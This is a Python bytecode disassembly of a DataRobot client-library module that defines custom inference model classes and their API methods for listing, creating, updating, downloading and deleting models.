IMPORT_FROM deprecated STORE_NAME deprecated POP_TOP LOAD_CONST 0 LOAD_CONST ('unpaginate',) IMPORT_NAME datarobot.utils.pagination IMPORT_FROM unpaginate STORE_NAME unpaginate POP_TOP LOAD_CONST 0 LOAD_CONST ('wait_for_async_resolution',) IMPORT_NAME datarobot.utils.waiters IMPORT_FROM wait_for_async_resolution STORE_NAME wait_for_async_resolution POP_TOP LOAD_NAME TypeVar LOAD_CONST 'T_CustomModelBase' LOAD_CONST '_CustomModelBase' LOAD_CONST ('bound',) CALL_FUNCTION STORE_NAME T_CustomModelBase LOAD_BUILD_CLASS LOAD_CONST <code object _CustomModelBase at 0x7fab340174b0, file "f.py", line 24> LOAD_CONST '_CustomModelBase' MAKE_FUNCTION LOAD_CONST '_CustomModelBase' LOAD_NAME APIObject CALL_FUNCTION STORE_NAME _CustomModelBase LOAD_BUILD_CLASS LOAD_CONST <code object CustomInferenceModel at 0x7faac0274300, file "f.py", line 370> LOAD_CONST 'CustomInferenceModel' MAKE_FUNCTION LOAD_CONST 'CustomInferenceModel' LOAD_NAME _CustomModelBase CALL_FUNCTION STORE_NAME CustomInferenceModel LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST '_CustomModelBase' STORE_NAME __qualname__ LOAD_CONST 'customModels/' STORE_NAME _path LOAD_NAME t LOAD_METHOD Dict LOAD_NAME t LOAD_METHOD Key LOAD_CONST 'id' CALL_METHOD LOAD_NAME String CALL_FUNCTION LOAD_NAME t LOAD_METHOD Key LOAD_CONST 'name' CALL_METHOD LOAD_NAME String CALL_FUNCTION LOAD_NAME t LOAD_METHOD Key LOAD_CONST 'description' CALL_METHOD LOAD_NAME String LOAD_CONST True LOAD_CONST ('allow_blank',) CALL_FUNCTION LOAD_NAME t LOAD_ATTR Key LOAD_CONST 'supports_binary_classification' LOAD_CONST True LOAD_CONST False LOAD_CONST ('optional', 'default') CALL_FUNCTION LOAD_NAME t LOAD_METHOD Bool CALL_METHOD LOAD_NAME t LOAD_ATTR Key LOAD_CONST 'supports_regression' LOAD_CONST True LOAD_CONST False LOAD_CONST ('optional', 'default') CALL_FUNCTION LOAD_NAME t LOAD_METHOD Bool CALL_METHOD LOAD_NAME t LOAD_ATTR Key LOAD_CONST 'latest_version' LOAD_CONST True LOAD_CONST None LOAD_CONST ('optional', 'default') CALL_FUNCTION LOAD_NAME t LOAD_METHOD Or LOAD_NAME CustomModelVersion LOAD_ATTR schema LOAD_NAME t LOAD_METHOD Null CALL_METHOD CALL_METHOD LOAD_NAME t LOAD_ATTR Key LOAD_CONST 'deployments_count' LOAD_CONST True LOAD_CONST None LOAD_CONST ('optional', 'default') CALL_FUNCTION LOAD_NAME Int CALL_FUNCTION LOAD_NAME t LOAD_METHOD Key LOAD_CONST 'created_by' CALL_METHOD LOAD_NAME String CALL_FUNCTION LOAD_NAME t LOAD_METHOD Key LOAD_CONST 'updated' CALL_METHOD LOAD_CONST 'updated_at' BINARY_RSHIFT LOAD_NAME String CALL_FUNCTION LOAD_NAME t LOAD_METHOD Key LOAD_CONST 'created' CALL_METHOD LOAD_CONST 'created_at' BINARY_RSHIFT LOAD_NAME String CALL_FUNCTION LOAD_NAME t LOAD_ATTR Key LOAD_CONST 'target_type' LOAD_CONST True LOAD_CONST None LOAD_CONST ('optional', 'default') CALL_FUNCTION LOAD_NAME String CALL_FUNCTION BUILD_MAP CALL_METHOD LOAD_METHOD ignore_extra LOAD_CONST '*' CALL_METHOD STORE_NAME _converter LOAD_CONST 'Any' LOAD_CONST 'None' LOAD_CONST ('kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7faab8381420, file "f.py", line 47> LOAD_CONST '_CustomModelBase.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST 'str' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object __repr__ at 0x7fab42914780, file "f.py", line 50> LOAD_CONST '_CustomModelBase.__repr__' MAKE_FUNCTION STORE_NAME __repr__ LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST 'bool' LOAD_CONST 'bool' LOAD_CONST 'CustomModelVersion' LOAD_CONST 'int' LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST 'None' LOAD_CONST ('id', 'name', 'description', 'supports_binary_classification', 'supports_regression', 'latest_version', 'deployments_count', 'created_by', 'updated_at', 'created_at', 'target_type', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _set_values at 0x7faa75c44540, file "f.py", line 53> LOAD_CONST '_CustomModelBase._set_values' MAKE_FUNCTION STORE_NAME _set_values LOAD_NAME classmethod LOAD_CONST 'Dict[str, Any]' LOAD_CONST 'bool' LOAD_CONST ('data', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _check_model_type at 0x7fab702f7030, file "f.py", line 106> LOAD_CONST '_CustomModelBase._check_model_type' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _check_model_type LOAD_NAME classmethod LOAD_CONST (None, None, None) LOAD_CONST 'Type[T_CustomModelBase]' LOAD_CONST 'Optional[bool]' LOAD_CONST 'Optional[str]' LOAD_CONST 'Optional[str]' LOAD_CONST 'List[T_CustomModelBase]' LOAD_CONST ('cls', 'is_deployed', 'order_by', 'search_for', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object list at 0x7fab34017c00, file "f.py", line 110> LOAD_CONST '_CustomModelBase.list' MAKE_FUNCTION CALL_FUNCTION STORE_NAME list LOAD_NAME classmethod LOAD_CONST 'Type[T_CustomModelBase]' LOAD_CONST 'str' LOAD_CONST 'T_CustomModelBase' LOAD_CONST ('cls', 'custom_model_id', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object get at 0x7fab340175d0, file "f.py", line 161> LOAD_CONST '_CustomModelBase.get' MAKE_FUNCTION CALL_FUNCTION STORE_NAME get LOAD_CONST 'str' LOAD_CONST 'None' LOAD_CONST ('file_path', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object download_latest_version at 0x7fab34017d20, file "f.py", line 190> LOAD_CONST '_CustomModelBase.download_latest_version' MAKE_FUNCTION STORE_NAME download_latest_version LOAD_NAME classmethod LOAD_CONST (None,) LOAD_CONST 'Type[T_CustomModelBase]' LOAD_CONST 'str' LOAD_CONST 'TARGET_TYPE' LOAD_CONST 'Optional[str]' LOAD_CONST 'Any' LOAD_CONST 'T_CustomModelBase' LOAD_CONST ('cls', 'name', 'target_type', 'description', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object create at 0x7fab340178a0, file "f.py", line 213> LOAD_CONST '_CustomModelBase.create' MAKE_FUNCTION CALL_FUNCTION STORE_NAME create LOAD_NAME classmethod LOAD_CONST 'Type[T_CustomModelBase]' LOAD_CONST 'str' LOAD_CONST 'T_CustomModelBase' LOAD_CONST ('cls', 'custom_model_id', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object copy_custom_model at 0x7fab340171e0, file "f.py", line 273> LOAD_CONST '_CustomModelBase.copy_custom_model' MAKE_FUNCTION CALL_FUNCTION STORE_NAME copy_custom_model LOAD_CONST (None, None) LOAD_CONST 'Optional[str]' LOAD_CONST 'Optional[str]' LOAD_CONST 'Any' LOAD_CONST 'None' LOAD_CONST ('name', 'description', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object update at 0x7fab34017660, file "f.py", line 303> LOAD_CONST '_CustomModelBase.update' MAKE_FUNCTION STORE_NAME update LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object refresh at 0x7fab34017270, file "f.py", line 334> LOAD_CONST '_CustomModelBase.refresh' MAKE_FUNCTION STORE_NAME refresh LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object delete at 0x7fab34017e40, file "f.py", line 354> LOAD_CONST '_CustomModelBase.delete' MAKE_FUNCTION STORE_NAME delete LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _set_values BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR __class__ LOAD_ATTR __name__ FORMAT_VALUE LOAD_CONST '(' LOAD_FAST self LOAD_ATTR name JUMP_IF_TRUE_OR_POP LOAD_FAST self LOAD_ATTR id FORMAT_VALUE repr LOAD_CONST ')' BUILD_STRING RETURN_VALUE LOAD_FAST id LOAD_FAST self STORE_ATTR id LOAD_FAST name LOAD_FAST self STORE_ATTR name LOAD_FAST description LOAD_FAST self STORE_ATTR description LOAD_FAST target_type LOAD_FAST self STORE_ATTR target_type LOAD_FAST supports_binary_classification POP_JUMP_IF_FALSE LOAD_FAST supports_regression POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'Model should support only 1 target type' CALL_FUNCTION RAISE_VARARGS LOAD_FAST target_type POP_JUMP_IF_TRUE LOAD_FAST supports_binary_classification POP_JUMP_IF_FALSE LOAD_GLOBAL CUSTOM_MODEL_TARGET_TYPE LOAD_ATTR BINARY LOAD_FAST self STORE_ATTR target_type JUMP_ABSOLUTE LOAD_FAST supports_regression POP_JUMP_IF_FALSE LOAD_GLOBAL CUSTOM_MODEL_TARGET_TYPE LOAD_ATTR REGRESSION LOAD_FAST self STORE_ATTR target_type JUMP_ABSOLUTE LOAD_GLOBAL ValueError LOAD_CONST 'Target type must be provided' CALL_FUNCTION RAISE_VARARGS JUMP_FORWARD to 140 LOAD_FAST target_type LOAD_GLOBAL CUSTOM_MODEL_TARGET_TYPE LOAD_ATTR BINARY COMPARE_OP != POP_JUMP_IF_FALSE LOAD_FAST supports_binary_classification POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'Cannot specify both target_type {} and supports_binary_classification.' LOAD_METHOD format LOAD_FAST target_type CALL_METHOD CALL_FUNCTION RAISE_VARARGS JUMP_FORWARD to 140 LOAD_FAST target_type LOAD_GLOBAL CUSTOM_MODEL_TARGET_TYPE LOAD_ATTR REGRESSION COMPARE_OP != POP_JUMP_IF_FALSE LOAD_FAST supports_regression POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'Cannot specify both target_type {} and supports_regression.' LOAD_METHOD format LOAD_FAST target_type CALL_METHOD CALL_FUNCTION RAISE_VARARGS LOAD_FAST latest_version POP_JUMP_IF_FALSE LOAD_GLOBAL CustomModelVersion BUILD_TUPLE LOAD_FAST latest_version CALL_FUNCTION JUMP_FORWARD to 156 LOAD_CONST None LOAD_FAST self STORE_ATTR latest_version LOAD_FAST deployments_count LOAD_FAST self STORE_ATTR deployments_count LOAD_FAST created_by LOAD_FAST self STORE_ATTR created_by LOAD_FAST updated_at LOAD_FAST self STORE_ATTR updated_at LOAD_FAST created_at LOAD_FAST self STORE_ATTR created_at LOAD_CONST None RETURN_VALUE LOAD_GLOBAL cast LOAD_GLOBAL bool LOAD_FAST data LOAD_CONST 'customModelType' BINARY_SUBSCR LOAD_FAST cls LOAD_ATTR _model_type COMPARE_OP == CALL_FUNCTION RETURN_VALUE LOAD_DEREF cls LOAD_ATTR _model_type LOAD_FAST is_deployed LOAD_FAST order_by LOAD_FAST search_for LOAD_CONST ('custom_model_type', 'is_deployed', 'order_by', 'search_for') BUILD_CONST_KEY_MAP STORE_FAST payload LOAD_GLOBAL unpaginate LOAD_DEREF cls LOAD_ATTR _path LOAD_FAST payload LOAD_DEREF cls LOAD_ATTR _client CALL_FUNCTION STORE_FAST data LOAD_CLOSURE cls BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fab702f7a50, file "f.py", line 159> LOAD_CONST '_CustomModelBase.list.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST data GET_ITER CALL_FUNCTION RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 20 STORE_FAST item LOAD_DEREF cls LOAD_METHOD from_server_data LOAD_FAST item CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST cls LOAD_ATTR _path FORMAT_VALUE LOAD_FAST custom_model_id FORMAT_VALUE LOAD_CONST '/' BUILD_STRING STORE_FAST path LOAD_FAST cls LOAD_ATTR _client LOAD_METHOD get LOAD_FAST path CALL_METHOD LOAD_METHOD json CALL_METHOD STORE_FAST data LOAD_FAST cls LOAD_METHOD _check_model_type LOAD_FAST data CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL Exception LOAD_CONST 'Requested model is not a ' LOAD_FAST cls LOAD_ATTR _model_type FORMAT_VALUE LOAD_CONST ' model' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST cls LOAD_METHOD from_server_data LOAD_FAST data CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR _path FORMAT_VALUE LOAD_FAST self LOAD_ATTR id FORMAT_VALUE LOAD_CONST '/download/' BUILD_STRING STORE_FAST path LOAD_FAST self LOAD_ATTR _client LOAD_METHOD get LOAD_FAST path CALL_METHOD STORE_FAST response LOAD_GLOBAL open LOAD_FAST file_path LOAD_CONST 'wb' CALL_FUNCTION SETUP_WITH to 58 STORE_FAST f LOAD_FAST f LOAD_METHOD write LOAD_FAST response LOAD_ATTR content CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL dict BUILD_TUPLE LOAD_FAST cls LOAD_ATTR _model_type LOAD_FAST name LOAD_FAST description LOAD_CONST ('custom_model_type', 'name', 'description') BUILD_CONST_KEY_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION STORE_FAST payload LOAD_FAST target_type LOAD_GLOBAL CUSTOM_MODEL_TARGET_TYPE LOAD_ATTR ALL COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST target_type LOAD_FAST payload LOAD_CONST 'target_type' STORE_SUBSCR LOAD_FAST target_type LOAD_GLOBAL CUSTOM_MODEL_TARGET_TYPE LOAD_ATTR BINARY COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST True LOAD_FAST payload LOAD_CONST 'supports_binary_classification' STORE_SUBSCR JUMP_FORWARD to 110 LOAD_FAST target_type LOAD_GLOBAL CUSTOM_MODEL_TARGET_TYPE LOAD_ATTR REGRESSION COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST True LOAD_FAST payload LOAD_CONST 'supports_regression' STORE_SUBSCR JUMP_FORWARD to 110 LOAD_FAST target_type LOAD_GLOBAL CUSTOM_MODEL_TARGET_TYPE LOAD_ATTR ALL COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_GLOBAL ClientError LOAD_CONST 'Unsupported target_type. target_type must be in {}.' LOAD_METHOD format LOAD_GLOBAL CUSTOM_MODEL_TARGET_TYPE LOAD_ATTR ALL CALL_METHOD LOAD_CONST 422 CALL_FUNCTION RAISE_VARARGS LOAD_FAST cls LOAD_ATTR _client LOAD_ATTR post LOAD_FAST cls LOAD_ATTR _path LOAD_FAST payload LOAD_CONST ('data',) CALL_FUNCTION STORE_FAST response LOAD_FAST cls LOAD_METHOD from_server_data LOAD_FAST response LOAD_METHOD json CALL_METHOD CALL_METHOD RETURN_VALUE LOAD_FAST cls LOAD_ATTR _path FORMAT_VALUE LOAD_CONST 'fromCustomModel/' BUILD_STRING STORE_FAST path LOAD_FAST cls LOAD_ATTR _client LOAD_ATTR post LOAD_FAST path LOAD_CONST 'custom_model_id' LOAD_FAST custom_model_id BUILD_MAP LOAD_CONST ('data',) CALL_FUNCTION STORE_FAST response LOAD_FAST cls LOAD_METHOD from_server_data LOAD_FAST response LOAD_METHOD json CALL_METHOD CALL_METHOD RETURN_VALUE LOAD_GLOBAL dict BUILD_TUPLE LOAD_FAST name LOAD_FAST description LOAD_CONST ('name', 'description') BUILD_CONST_KEY_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION STORE_FAST payload LOAD_FAST self LOAD_ATTR _path FORMAT_VALUE LOAD_FAST self LOAD_ATTR id FORMAT_VALUE LOAD_CONST '/' BUILD_STRING STORE_FAST url LOAD_FAST self LOAD_ATTR _client LOAD_ATTR patch LOAD_FAST url LOAD_FAST payload LOAD_CONST ('data',) CALL_FUNCTION STORE_FAST response LOAD_FAST response LOAD_METHOD json CALL_METHOD STORE_FAST data LOAD_FAST self LOAD_ATTR _set_values BUILD_TUPLE LOAD_FAST self LOAD_ATTR _safe_data LOAD_FAST data LOAD_CONST True LOAD_CONST ('do_recursive',) CALL_FUNCTION CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _path LOAD_METHOD format LOAD_FAST self LOAD_ATTR id CALL_METHOD STORE_FAST url LOAD_FAST url FORMAT_VALUE LOAD_FAST self LOAD_ATTR id FORMAT_VALUE LOAD_CONST '/' BUILD_STRING STORE_FAST path LOAD_FAST self LOAD_ATTR _client LOAD_METHOD get LOAD_FAST path CALL_METHOD STORE_FAST response LOAD_FAST response LOAD_METHOD json CALL_METHOD STORE_FAST data LOAD_FAST self LOAD_ATTR _set_values BUILD_TUPLE LOAD_FAST self LOAD_ATTR _safe_data LOAD_FAST data LOAD_CONST True LOAD_CONST ('do_recursive',) CALL_FUNCTION CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _path FORMAT_VALUE LOAD_FAST self LOAD_ATTR id FORMAT_VALUE LOAD_CONST '/' BUILD_STRING STORE_FAST url LOAD_FAST self LOAD_ATTR _client LOAD_METHOD delete LOAD_FAST url CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CustomInferenceModel' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST 'A custom inference model.\n\n .. versionadded:: v2.21\n\n Attributes\n ----------\n id: str\n The ID of the custom model.\n name: str\n The name of the custom model.\n language: str\n The programming language of the custom inference model.\n Can be "python", "r", "java" or "other".\n description: str\n The description of the custom inference model.\n target_type: datarobot.TARGET_TYPE\n Target type of the custom inference model.\n Values: [`datarobot.TARGET_TYPE.BINARY`, `datarobot.TARGET_TYPE.REGRESSION`,\n `datarobot.TARGET_TYPE.MULTICLASS`, `datarobot.TARGET_TYPE.UNSTRUCTURED`,\n `datarobot.TARGET_TYPE.ANOMALY`]\n target_name: str, optional\n Target feature name.\n It is optional(ignored if provided) for `datarobot.TARGET_TYPE.UNSTRUCTURED`\n or `datarobot.TARGET_TYPE.ANOMALY` target type.\n latest_version: datarobot.CustomModelVersion or None\n The latest version of the custom model if the model has a latest version.\n deployments_count: int\n Number of a deployments of the custom models.\n target_name: str\n The custom model target name.\n positive_class_label: str\n For binary classification projects, a label of a positive class.\n negative_class_label: str\n For binary classification projects, a label of a negative class.\n prediction_threshold: float\n For binary classification projects, a threshold used for predictions.\n training_data_assignment_in_progress: bool\n Flag describing if training data assignment is in progress.\n training_dataset_id: str, optional\n The ID of a dataset assigned to the custom model.\n training_dataset_version_id: str, optional\n The ID of a dataset version assigned to the custom model.\n training_data_file_name: str, optional\n The name of assigned training data file.\n training_data_partition_column: str, optional\n The name of a partition column in a training dataset assigned to the custom model.\n created_by: str\n The username of a user who created the custom model.\n updated_at: str\n ISO-8601 formatted timestamp of when the custom model was updated\n created_at: str\n ISO-8601 formatted timestamp of when the custom model was created\n network_egress_policy: datarobot.NETWORK_EGRESS_POLICY, optional\n Determines whether the given custom model is isolated, or can access the public network.\n Values: [`datarobot.NETWORK_EGRESS_POLICY.NONE`, `datarobot.NETWORK_EGRESS_POLICY.DR_API_ACCESS`,\n `datarobot.NETWORK_EGRESS_POLICY.PUBLIC`].\n Note: `datarobot.NETWORK_EGRESS_POLICY.DR_API_ACCESS` value\n is only supported by the SaaS (cloud) environment.\n maximum_memory: int, optional\n The maximum memory that might be allocated by the custom-model.\n If exceeded, the custom-model will be killed by k8s.\n replicas: int, optional\n A fixed number of replicas that will be deployed in the cluster\n is_training_data_for_versions_permanently_enabled: bool, optional\n Whether training data assignment on the version level is permanently enabled for the model.\n ' STORE_NAME __doc__ LOAD_CONST 'inference' STORE_NAME _model_type LOAD_CONST 'str' LOAD_NAME __annotations__ LOAD_CONST '_model_type' STORE_SUBSCR LOAD_NAME _CustomModelBase LOAD_ATTR _converter LOAD_NAME t LOAD_METHOD Key LOAD_CONST 'language' CALL_METHOD LOAD_NAME String LOAD_CONST True LOAD_CONST ('allow_blank',) CALL_FUNCTION LOAD_NAME t LOAD_ATTR Key LOAD_CONST 'target_name' LOAD_CONST True LOAD_CONST ('optional',) CALL_FUNCTION LOAD_NAME String CALL_FUNCTION LOAD_NAME t LOAD_ATTR Key LOAD_CONST 'training_dataset_id' LOAD_CONST True LOAD_CONST ('optional',) CALL_FUNCTION LOAD_NAME String CALL_FUNCTION LOAD_NAME t LOAD_ATTR Key LOAD_CONST 'training_dataset_version_id' LOAD_CONST True LOAD_CONST ('optional',) CALL_FUNCTION LOAD_NAME String CALL_FUNCTION LOAD_NAME t LOAD_METHOD Key LOAD_CONST 'training_data_assignment_in_progress' CALL_METHOD LOAD_NAME t LOAD_METHOD Bool CALL_METHOD LOAD_NAME t LOAD_ATTR Key LOAD_CONST 'positive_class_label' LOAD_CONST True LOAD_CONST ('optional',) CALL_FUNCTION LOAD_NAME String CALL_FUNCTION LOAD_NAME t LOAD_ATTR Key LOAD_CONST 'negative_class_label' LOAD_CONST True LOAD_CONST ('optional',) CALL_FUNCTION LOAD_NAME String CALL_FUNCTION LOAD_NAME t LOAD_ATTR Key LOAD_CONST 'class_labels' LOAD_CONST True LOAD_CONST ('optional',) CALL_FUNCTION LOAD_NAME t LOAD_METHOD List LOAD_NAME String CALL_FUNCTION CALL_METHOD LOAD_NAME t LOAD_ATTR Key LOAD_CONST 'prediction_threshold' LOAD_CONST True LOAD_CONST ('optional',) CALL_FUNCTION LOAD_NAME t LOAD_METHOD Float CALL_METHOD LOAD_NAME t LOAD_ATTR Key LOAD_CONST 'training_data_file_name' LOAD_CONST True LOAD_CONST ('optional',) CALL_FUNCTION LOAD_NAME String CALL_FUNCTION LOAD_NAME t LOAD_ATTR Key LOAD_CONST 'training_data_partition_column' LOAD_CONST True LOAD_CONST ('optional',) CALL_FUNCTION LOAD_NAME String CALL_FUNCTION LOAD_NAME t LOAD_ATTR Key LOAD_CONST 'network_egress_policy' LOAD_CONST True LOAD_CONST ('optional',) CALL_FUNCTION LOAD_NAME t LOAD_ATTR Enum LOAD_NAME NETWORK_EGRESS_POLICY LOAD_ATTR ALL CALL_FUNCTION LOAD_NAME t LOAD_ATTR Key LOAD_CONST 'maximum_memory' LOAD_CONST True LOAD_CONST ('optional',) CALL_FUNCTION LOAD_NAME Int CALL_FUNCTION LOAD_NAME t LOAD_ATTR Key LOAD_CONST 'replicas' LOAD_CONST True LOAD_CONST ('optional',) CALL_FUNCTION LOAD_NAME Int CALL_FUNCTION LOAD_NAME t LOAD_ATTR Key LOAD_CONST 'is_training_data_for_versions_permanently_enabled' LOAD_CONST True LOAD_CONST False LOAD_CONST ('optional', 'default') CALL_FUNCTION LOAD_NAME t LOAD_METHOD Bool CALL_METHOD BUILD_MAP BINARY_ADD LOAD_METHOD allow_extra LOAD_CONST '*' CALL_METHOD STORE_NAME _converter LOAD_CONST (None, None, None, None, None, None, None, None, None, None, None, None) LOAD_CONST 'str' LOAD_CONST 'bool' LOAD_CONST 'bool' LOAD_CONST 'Optional[str]' LOAD_CONST 'Optional[str]' LOAD_CONST 'Optional[str]' LOAD_CONST 'Optional[float]' LOAD_CONST 'Optional[List[str]]' LOAD_CONST 'Optional[str]' LOAD_CONST 'Optional[str]' LOAD_CONST 'Optional[str]' LOAD_CONST 'Optional[str]' LOAD_CONST 'Optional[NETWORK_EGRESS_POLICY]' LOAD_CONST 'Optional[int]' LOAD_CONST 'Optional[int]' LOAD_CONST 'Any' LOAD_CONST 'None' LOAD_CONST ('language', 'training_data_assignment_in_progress', 'is_training_data_for_versions_permanently_enabled', 'target_name', 'positive_class_label', 'negative_class_label', 'prediction_threshold', 'class_labels', 'training_dataset_id', 'training_dataset_version_id', 'training_data_file_name', 'training_data_partition_column', 'network_egress_policy', 'maximum_memory', 'replicas', 'custom_model_kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object _set_values at 0x7fab34017ae0, file "f.py", line 466> LOAD_CONST 'CustomInferenceModel._set_values' MAKE_FUNCTION STORE_NAME _set_values LOAD_NAME classmethod LOAD_CONST (None, None, None) LOAD_CONST 'Optional[bool]' LOAD_CONST 'Optional[str]' LOAD_CONST 'Optional[str]' LOAD_CONST 'List[CustomInferenceModel]' LOAD_CONST ('is_deployed', 'search_for', 'order_by', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object list at 0x7fab34017780, file "f.py", line 505> LOAD_CONST 'CustomInferenceModel.list' MAKE_FUNCTION CALL_FUNCTION STORE_NAME list LOAD_NAME classmethod LOAD_CONST 'str' LOAD_CONST 'CustomInferenceModel' LOAD_CONST ('custom_model_id', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object get at 0x7fab34017db0, file "f.py", line 549> LOAD_CONST 'CustomInferenceModel.get' MAKE_FUNCTION CALL_FUNCTION STORE_NAME get LOAD_CONST 'str' LOAD_CONST 'None' LOAD_CONST ('file_path', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object download_latest_version at 0x7fab34017030, file "f.py", line 574> LOAD_CONST 'CustomInferenceModel.download_latest_version' MAKE_FUNCTION STORE_NAME download_latest_version LOAD_NAME classmethod LOAD_CONST (None, None, None, None, None, None, None, None, None, None, None, None) LOAD_CONST 'str' LOAD_CONST 'TARGET_TYPE' LOAD_CONST 'Optional[str]' LOAD_CONST 'Optional[str]' LOAD_CONST 'Optional[str]' LOAD_CONST 'Optional[str]' LOAD_CONST 'Optional[str]' LOAD_CONST 'Optional[float]' LOAD_CONST 'Optional[List[str]]' LOAD_CONST 'Optional[str]' LOAD_CONST 'Optional[NETWORK_EGRESS_POLICY]' LOAD_CONST 'Optional[int]' LOAD_CONST 'Optional[int]' LOAD_CONST 'Optional[bool]' LOAD_CONST 'CustomInferenceModel' LOAD_CONST ('name', 'target_type', 'target_name', 'language', 'description', 'positive_class_label', 'negative_class_label', 'prediction_threshold', 'class_labels', 'class_labels_file', 'network_egress_policy', 'maximum_memory', 'replicas', 'is_training_data_for_versions_permanently_enabled', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object create at 0x7fab34017a50, file "f.py", line 593> LOAD_CONST 'CustomInferenceModel.create' MAKE_FUNCTION CALL_FUNCTION STORE_NAME create LOAD_NAME classmethod LOAD_CONST 'str' LOAD_CONST 'CustomInferenceModel' LOAD_CONST ('custom_model_id', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object copy_custom_model at 0x7fab34017390, file "f.py", line 700> LOAD_CONST 'CustomInferenceModel.copy_custom_model' MAKE_FUNCTION CALL_FUNCTION STORE_NAME copy_custom_model LOAD_CONST (None, None, None, None, None, None, None, None, None, None) LOAD_CONST 'Optional[str]' LOAD_CONST 'Optional[str]' LOAD_CONST 'Optional[str]' LOAD_CONST 'Optional[str]' LOAD_CONST 'Optional[str]' LOAD_CONST 'Optional[str]' LOAD_CONST 'Optional[float]' LOAD_CONST 'Optional[List[str]]' LOAD_CONST 'Optional[str]' LOAD_CONST 'Optional[bool]' LOAD_CONST 'None' LOAD_CONST ('name', 'language', 'description', 'target_name', 'positive_class_label', 'negative_class_label', 'prediction_threshold', 'class_labels', 'class_labels_file', 'is_training_data_for_versions_permanently_enabled', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object update at 0x7fab34017540, file "f.py", line 728> LOAD_CONST 'CustomInferenceModel.update' MAKE_FUNCTION STORE_NAME update LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object refresh at 0x7fab34017420, file "f.py", line 798> LOAD_CONST 'CustomInferenceModel.refresh' MAKE_FUNCTION STORE_NAME refresh LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object delete at 0x7fab34017b70, file "f.py", line 812> LOAD_CONST 'CustomInferenceModel.delete' MAKE_FUNCTION STORE_NAME delete LOAD_NAME deprecated LOAD_CONST 'v3.2' LOAD_CONST 'v3.4' LOAD_CONST 'Please use training data assignment on the model version level: CustomModelVersion.create_from_previous or CustomModelVersion.create_clean' LOAD_CONST ('deprecated_since_version', 'will_remove_version', 'message') CALL_FUNCTION LOAD_CONST None LOAD_NAME DEFAULT_MAX_WAIT BUILD_TUPLE LOAD_CONST 'str' LOAD_CONST 'Optional[str]' LOAD_CONST 'int' LOAD_CONST 'None' LOAD_CONST ('dataset_id', 'partition_column', 'max_wait', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object assign_training_data at 0x7faac02749c0, file "f.py", line 826> LOAD_CONST 'CustomInferenceModel.assign_training_data' MAKE_FUNCTION CALL_FUNCTION STORE_NAME assign_training_data LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR _set_values 